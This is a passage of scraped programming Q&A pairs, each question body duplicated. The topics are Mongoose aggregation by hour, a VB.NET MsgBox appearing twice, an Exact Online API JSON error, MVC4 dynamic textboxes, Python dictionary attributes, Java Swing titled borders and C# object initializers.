where the key is the hour, and the value is the no. of orders.

My initial attempt

```<code>Order.aggregate([
    {"$match":{
        "created_on" : {
            $gt: //early hour,
            $lt: //late hour
        }

    }},
    { "$group": { _id: null, count: { $sum: 1 } } }
], function(err, results){
    if(err) throw err;
    console.log(results);
});
</code>```

答:
You need to filter by day, and group by hour:</p>

```<code>[
    {"$match":{
        "created_on" : {
            $gt: //beginning of the day,
            $lt: //end of the day
        }

    }},
    { "$group": { _id: { $hour: "$created_on" }, count: { $sum: 1 } } }
]
</code>```

Title: Mongoose aggregate orders in an hour

Body:
I have a Mongoose Model called 'Order' that keeps track of user orders.

I want to group the orders by hour, and find how many orders were placed each hour, for the current day.

I have attempted to use the aggregation framework built into mongoose but cant figure out how to achieve this.

Could anyone give me an example of how this would work?

Ideally I want an output like the following

{0: 2, 1: 5, 2:4,...,23:2}

where the key is the hour, and the value is the no. of orders.

My initial attempt

Order.aggregate([
    {"$match":{
        "created_on" : {
            $gt: //early hour,
            $lt: //late hour
        }

    }},
    { "$group": { _id: null, count: { $sum: 1 } } }
], function(err, results){
    if(err) throw err;
    console.log(results);
});

Body:
You need to filter by day, and group by hour:

[
    {"$match":{
        "created_on" : {
            $gt: //beginning of the day,
            $lt: //end of the day
        }

    }},
    { "$group": { _id: { $hour: "$created_on" }, count: { $sum: 1 } } }
]


问:
messagebox appeared second time
In my code, when TextBox3 does not have any value, it must show a notice in a MsgBox to enter a value in TextBox1

But when I run it the MsgBoxnotice appears twice in the screen when it should show only once.

Here is my code:

```<code>Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged
    If TextBox3.Text = Nothing Then
        TextBox1.Clear()
        MsgBox("Enter Number to Textbox1")
    Else
        Dim digit As Integer = CInt(TextBox3.Text)
        If TextBox1.TextLength = digit Then
            Dim fields() As String = ListBox1.Text.Split(";")
            Dim idx As Integer = ListBox1.FindString(TextBox1.Text)
            If idx <> -1 Then
                ListBox1.SelectedIndex = idx
                ListBox1.SelectedIndex.ToString(fields(0))
                ListBox2.Items.Add(Now() + Space(1) + ListBox1.Text.Substring(0, 13))
                PrintDocument1.Print()
            Else
                TextBox1.Clear()
            End If
        End If
    End If
End Sub
</code>```

答:
You are using the wrong event. Textchanged triggers when you clear the textbox as well resulting in two messageboxes.

Use LostFocus instead

Title: messagebox appeared second time

Body:
In my code, when TextBox3 does not have any value, it must show a notice in a MsgBox to enter a value in TextBox1

But when I run it the MsgBoxnotice appears twice in the screen when it should show only once.

Here is my code:

Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged
    If TextBox3.Text = Nothing Then
        TextBox1.Clear()
        MsgBox("Enter Number to Textbox1")
    Else
        Dim digit As Integer = CInt(TextBox3.Text)
        If TextBox1.TextLength = digit Then
            Dim fields() As String = ListBox1.Text.Split(";")
            Dim idx As Integer = ListBox1.FindString(TextBox1.Text)
            If idx <> -1 Then
                ListBox1.SelectedIndex = idx
                ListBox1.SelectedIndex.ToString(fields(0))
                ListBox2.Items.Add(Now() + Space(1) + ListBox1.Text.Substring(0, 13))
                PrintDocument1.Print()
            Else
                TextBox1.Clear()
            End If
        End If
    End If
End Sub


问:
Exact Online API Returns XML Error

What I do

I'm really confused about the following.

I'm logged in via Exact Online oAuth2 (works)

I'm redirected to the set redirect url (works)

Now, I'm doing a POST request for creating an CRM Account to

https://start.exactonline.com/api/v1/1645882/crm/Accounts

with headers:

Authorization: Bearer MY_TOKEN

Content-Type: application/json

with json data:

```<code>{
    "Name": "James Fellows",
    "Code": "JF"
}
</code>```

Code (simplified)

```<code>$this->client->request('POST', 'https://start.exactonline.com/api/v1/1645882/crm/Accounts', ['headers' => ['Authorization' => 'Bearer MY_TOKEN']], ['json' => json_encode(['Name' => 'James Fellows', 'Code' => 'JF'])]);
</code>```

Problem

And now the problem. I always get this error:

```<code><?xml version="1.0" encoding="utf-8" standalone="yes"?>
<error xmlns="http://schemas.microsoft.com/ado/2007/08/dataservices/metadata">\r\n
    <code></code>
    <message xml:lang="">Error processing request stream. JSON text specified is not valid.
</message>
</error>
</code>```

Documentation

I used the following api documentation:

https://developers.exactonline.com/#RestSampleCode.html%3FTocPath%3DExact%2520Online%2520REST%2520API%7CCode%2520examples%7C_____1

https://start.exactonline.com/docs/HlpRestAPIResourcesDetails.aspx?name=CRMAccounts

答: Just don't use json_encode() for your data if you use json option. This option accepts an array and automatically encodes it internally.

Title: Exact Online API Returns XML Error

Body:
What I do

I'm really confused about the following.

I'm logged in via Exact Online oAuth2 (works)

I'm redirected to the set redirect url (works)

Now, I'm doing a POST request for creating an CRM Account to

https://start.exactonline.com/api/v1/1645882/crm/Accounts

with headers:

Authorization: Bearer MY_TOKEN

Content-Type: application/json

with json data:

{
    "Name": "James Fellows",
    "Code": "JF"
}

Code (simplified)

$this->client->request('POST', 'https://start.exactonline.com/api/v1/1645882/crm/Accounts', ['headers' => ['Authorization' => 'Bearer MY_TOKEN']], ['json' => json_encode(['Name' => 'James Fellows', 'Code' => 'JF'])]);

Problem

And now the problem. I always get this error:

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<error xmlns="http://schemas.microsoft.com/ado/2007/08/dataservices/metadata">\r\n

    <message xml:lang="">Error processing request stream. JSON text specified is not valid.
</message>
</error>

Documentation

I used the following api documentation:

https://developers.exactonline.com/#RestSampleCode.html%3FTocPath%3DExact%2520Online%2520REST%2520API%7CCode%2520examples%7C_____1

https://start.exactonline.com/docs/HlpRestAPIResourcesDetails.aspx?name=CRMAccounts


问:
Want to add multiple textbox in mvc4 regor
I have two Model Class

```<code>public partial class EndUser
{
    public EndUser()
    {
        this.Mobiles = new List<Mobile>();
    }

       public virtual long Id { get; set; }
       public virtual string FullName { get; set; }

       [DataType(DataType.Password)]
       public virtual string UserPassword { get; set; }
       public virtual string Email { get; set; }
       public virtual IList<Mobile> Mobiles { get; set; }

    public partial class Mobile
    {
       public virtual long Id { get; set; }
       public virtual string Number { get; set; }
       public virtual EndUser EndUser { get; set; }
    }
</code>```

My controller

```<code>    public ActionResult CreateClient()
    {
        return View("CreateClient");
    }
</code>```

Scaffold Template Create My view

CreateClient

```<code>@using (Html.BeginForm())
{
@Html.ValidationSummary(true)

<fieldset>
    <legend>EndUser</legend>

    <div class="editor-label">
        @Html.LabelFor(model => model.FullName)
    </div>
    <div class="editor-field">
        @Html.EditorFor(model => model.FullName)
        @Html.ValidationMessageFor(model => model.FullName)
        </div>
        <div class="editor-label">
            @Html.LabelFor(model => model.UserPassword)
        </div>
        <div class="editor-field">
            @Html.EditorFor(model => model.UserPassword)
            @Html.ValidationMessageFor(model => model.UserPassword)
        </div>

        <div class="editor-label">
            @Html.LabelFor(model => model.Email)
        </div>
        <div class="editor-field">
            @Html.EditorFor(model => model.Email)
            @Html.ValidationMessageFor(model => model.Email)
        </div>

        <p>
            <input type="submit" value="Create" />
        </p>
    </fieldset>
}
</code>```

But I want to add my Client Mobile From this view. How can i create multiply(unknown) text field to add mobile numbers? If client have more then one mobile number he can add more textbox by clicking "Add More Number" button. I cant create textbox for mobile number field.

Please help me out. Im new in MVC.

答:
You can resume it in a few steps.

Create a view (ie) "DynamicMobileForm" where you will have a foreach Model.Mobiles, it should create a textbox for each item.

In the controller, create a Get method to retrieve only this partial DynamicMobileForm view (You can use the same model, should contain at least your Mobiles property loaded)

In your ABM form, remove any html regarding mobile, and paste this:
@{Html.RenderPartial("DynamicMobileForm", Model);} this will render this section only.

Now you just need a way to dynamically increment the amount of editors, this is very easy, create a button, and with jquery perform a call to controller with a POST Method, like DynamicMobileFormAddRow... Inside this method, you only need to Add() a new instance inside your Model.Mobiles list, and return the same model as your GetMethod.

When the page loads, will render your partial section only, adding a new textbox, and when you submit it, will automatically post it inside your Mobiles Array.

Hope it helps.

Body:
I have two Model Class

public partial class EndUser
{
    public EndUser()
    {
        this.Mobiles = new List<Mobile>();
    }

       public virtual long Id { get; set; }
       public virtual string FullName { get; set; }

       [DataType(DataType.Password)]
       public virtual string UserPassword { get; set; }
       public virtual string Email { get; set; }
       public virtual IList<Mobile> Mobiles { get; set; }

    public partial class Mobile
    {
       public virtual long Id { get; set; }
       public virtual string Number { get; set; }
       public virtual EndUser EndUser { get; set; }
    }

My controller

    public ActionResult CreateClient()
    {
        return View("CreateClient");
    }

Scaffold Template Create My view

CreateClient

@using (Html.BeginForm())
{
@Html.ValidationSummary(true)

<fieldset>
    <legend>EndUser</legend>

        @Html.LabelFor(model => model.FullName)

        @Html.EditorFor(model => model.FullName)
        @Html.ValidationMessageFor(model => model.FullName)

            @Html.LabelFor(model => model.UserPassword)

            @Html.EditorFor(model => model.UserPassword)
            @Html.ValidationMessageFor(model => model.UserPassword)

            @Html.LabelFor(model => model.Email)

            @Html.EditorFor(model => model.Email)
            @Html.ValidationMessageFor(model => model.Email)

            <input type="submit" value="Create" />

    </fieldset>
}

But I want to add my Client Mobile From this view. How can i create multiply(unknown) text field to add mobile numbers? If client have more then one mobile number he can add more textbox by clicking "Add More Number" button. I cant create textbox for mobile number field.

Please help me out. Im new in MVC.


问:
Python--creating a class that adds a key to dictionary object + attaches specific values
First, here's my goal: I want to be able to add keys to a dictionary, and have those keys associated with a number of values. For example, I want to be able to have something like:

myDict['myKey1'].height
myDict['myKey1'].weight

I want to be able to add new keys to this, like myDict['myKey2'] such that I also have the option of attaching height and weight values to the new key as above.

Here's what I've got so far:

```<code>class Vividict(dict):
    def __missing__(self, key):
        value = self[key] = type(self)()
        return value
</code>```

I've been using the above class to add new keys to dictionaries. I want to not only do this, but also input lists so that I can look up things like "height" and "weight" for the new key I add to my dictionary, by adding something like this into my class.

```<code>def __init__(self, list_of_vals, list_of_names):

    for x,y in zip(list_of_vals, list_of_names):
        self.(y) = x
</code>```

I know the above is wrong, but I hope someone can see what I'm trying to achieve here. I want to define a class such that I can add a new key to a dictionary, and provide "list_of_vals" and "list_of_names" to attach some items to that dictionary key.

So, if I have "newKey" with list_of_vals=[1,2,3] and list_of_names=['height', 'weight', 'whatever'], I want to be able to do this:

```<code>myDict['newKey'].height = 1
myDict['newKey'].weight = 2
myDict['newKey'].whatever = 3
</code>```

I hope this makes sense. I'm sort of trying to mimic what I can do in Matlab using structures.

Thanks!

----Update----

```<code>import collections

class Vals:

    def add(self, list_of_vals=[], list_of_names=[]):
        for val, name in zip(list_of_vals, list_of_names):
            setattr(self, name, val)

    def __str__(self):
        return str(self.__dict__)

mydict = collections.defaultdict(Vals)
mydict['Foo'].add([1,2], ['height', 'weight'])
</code>```

The above from tdelaney is in the direction I want to move. Thanks!

If I take the above code to add height and weight attributes. I want to be able to add to these if they exist. For example, something like:

```<code>mydict['Foo'].add([3,4], ['height'])
</code>```

Such that is results in:

```<code>mydict['Foo'].height = [1,2,3,4]
</code>```

In other words, I add [3,4] to the height attribute for the 'Foo' key.

Another feature I'd like to build into this class is to concatenate new rows into a numpy array each time I add new lists of numbers. For example, if I start with this:

```<code>mydict['Foo'].add([1,2], ['height', 'weight'])
</code>```

And then do this:

```<code>mydict['Foo'].add([3,4], ['height', 'weight'])
</code>```

I want to end with the following:

```<code>mydict['Foo'].height = [1,3]
mydict['Foo'].weight = [2,4]
mydict['Foo'].array = [1, 2; 3, 4]
</code>```

In other words, I'm adding to the height and weight attributes each time, allowing me to add to growing lists with new data. At the same time, I want to the class to initialize an empty numpy array that we will add to row by row, such that each row contains height and weight, column 1 containing multiple height values, column 2 containing multiple weight values, and each row gets concatenated to the bottom of the array each time.

答:
Something like the following?</p>

```<code>class Vividict(dict):
    def __missing__(self, key):
        value = self[key] = type(self)()
        return value
    def __init__(self, list_of_vals=[], list_of_names=[]):
        for x,y in zip(list_of_vals, list_of_names):
           setattr(self, x, y)
</code>```

Body:
First, here's my goal: I want to be able to add keys to a dictionary, and have those keys associated with a number of values. For example, I want to be able to have something like:

myDict['myKey1'].height
myDict['myKey1'].weight

I want to be able to add new keys to this, like myDict['myKey2'] such that I also have the option of attaching height and weight values to the new key as above.

Here's what I've got so far:

class Vividict(dict):
    def __missing__(self, key):
        value = self[key] = type(self)()
        return value

I've been using the above class to add new keys to dictionaries. I want to not only do this, but also input lists so that I can look up things like "height" and "weight" for the new key I add to my dictionary, by adding something like this into my class.

def __init__(self, list_of_vals, list_of_names):

    for x,y in zip(list_of_vals, list_of_names):
        self.(y) = x

I know the above is wrong, but I hope someone can see what I'm trying to achieve here. I want to define a class such that I can add a new key to a dictionary, and provide "list_of_vals" and "list_of_names" to attach some items to that dictionary key.

So, if I have "newKey" with list_of_vals=[1,2,3] and list_of_names=['height', 'weight', 'whatever'], I want to be able to do this:

myDict['newKey'].height = 1
myDict['newKey'].weight = 2
myDict['newKey'].whatever = 3

I hope this makes sense. I'm sort of trying to mimic what I can do in Matlab using structures.

Thanks!

----Update----

import collections

class Vals:

    def add(self, list_of_vals=[], list_of_names=[]):
        for val, name in zip(list_of_vals, list_of_names):
            setattr(self, name, val)

    def __str__(self):
        return str(self.__dict__)

mydict = collections.defaultdict(Vals)
mydict['Foo'].add([1,2], ['height', 'weight'])

The above from tdelaney is in the direction I want to move. Thanks!

If I take the above code to add height and weight attributes. I want to be able to add to these if they exist. For example, something like:

mydict['Foo'].add([3,4], ['height'])

Such that is results in:

mydict['Foo'].height = [1,2,3,4]

In other words, I add [3,4] to the height attribute for the 'Foo' key.

Another feature I'd like to build into this class is to concatenate new rows into a numpy array each time I add new lists of numbers. For example, if I start with this:

mydict['Foo'].add([1,2], ['height', 'weight'])

And then do this:

mydict['Foo'].add([3,4], ['height', 'weight'])

I want to end with the following:

mydict['Foo'].height = [1,3]
mydict['Foo'].weight = [2,4]
mydict['Foo'].array = [1, 2; 3, 4]

In other words, I'm adding to the height and weight attributes each time, allowing me to add to growing lists with new data. At the same time, I want to the class to initialize an empty numpy array that we will add to row by row, such that each row contains height and weight, column 1 containing multiple height values, column 2 containing multiple weight values, and each row gets concatenated to the bottom of the array each time.

Body:
Something like the following?

class Vividict(dict):
    def __missing__(self, key):
        value = self[key] = type(self)()
        return value
    def __init__(self, list_of_vals=[], list_of_names=[]):
        for x,y in zip(list_of_vals, list_of_names):
           setattr(self, x, y)


问:
Is there a "Group Box" equivalent in Java Swing?
Trying to build a GUI application in Java/Swing. I'm mainly used to "painting" GUIs on the Windows side with tools like VB (or to be more precise, Gupta SQLWindows... wonder how many people know what that is ;-)).

I can't find an equivalent of a Group Box in Swing...

With a group box, you have a square box (usually with a title) around a couple of related widgets. One example is a group box around a few radio buttons (with the title explaining what the radio buttons are about, e.g. Group Box entitled "Sex" with "Male" and "Female" radio buttons).

I've searched around a bit... the only way I found was to add a sub-pane, set the border on the sub-pane and then add all the widgets in the "group" to the sub-pane. Is there a more elegant way to do that?

答:
Create a JPanel, and add your radiobuttons to it.  Don't forget to set the layout of the JPanel to something appropriate.

Then call panel.setBorder(BorderFactory.createTitledBorder(name));

OwnerDisplayName: IronGoofy

LastEditorDisplayName: A. Rex

OwnerDisplayName: David


问:
What is this called in C#?
```<code>Book x = new Book(){
              Author = "Rowling",
              Title = "Harry Potter",
              Genre = Genres.Fantasy
              };
</code>```

I've tried googling for Inline declaration, but I guess thats not what it's officially called.

Thoughts?

答:
From what I've heard, it's called an object initializer.

Look here: http://msdn.microsoft.com/en-us/library/bb384062.aspx

OwnerDisplayName: delete

LastEditorDisplayName: delete

Title: What is this called in C#?

Body:
Book x = new Book(){
              Author = "Rowling",
              Title = "Harry Potter",
              Genre = Genres.Fantasy
              };

I've tried googling for Inline declaration, but I guess thats not what it's officially called.

Thoughts?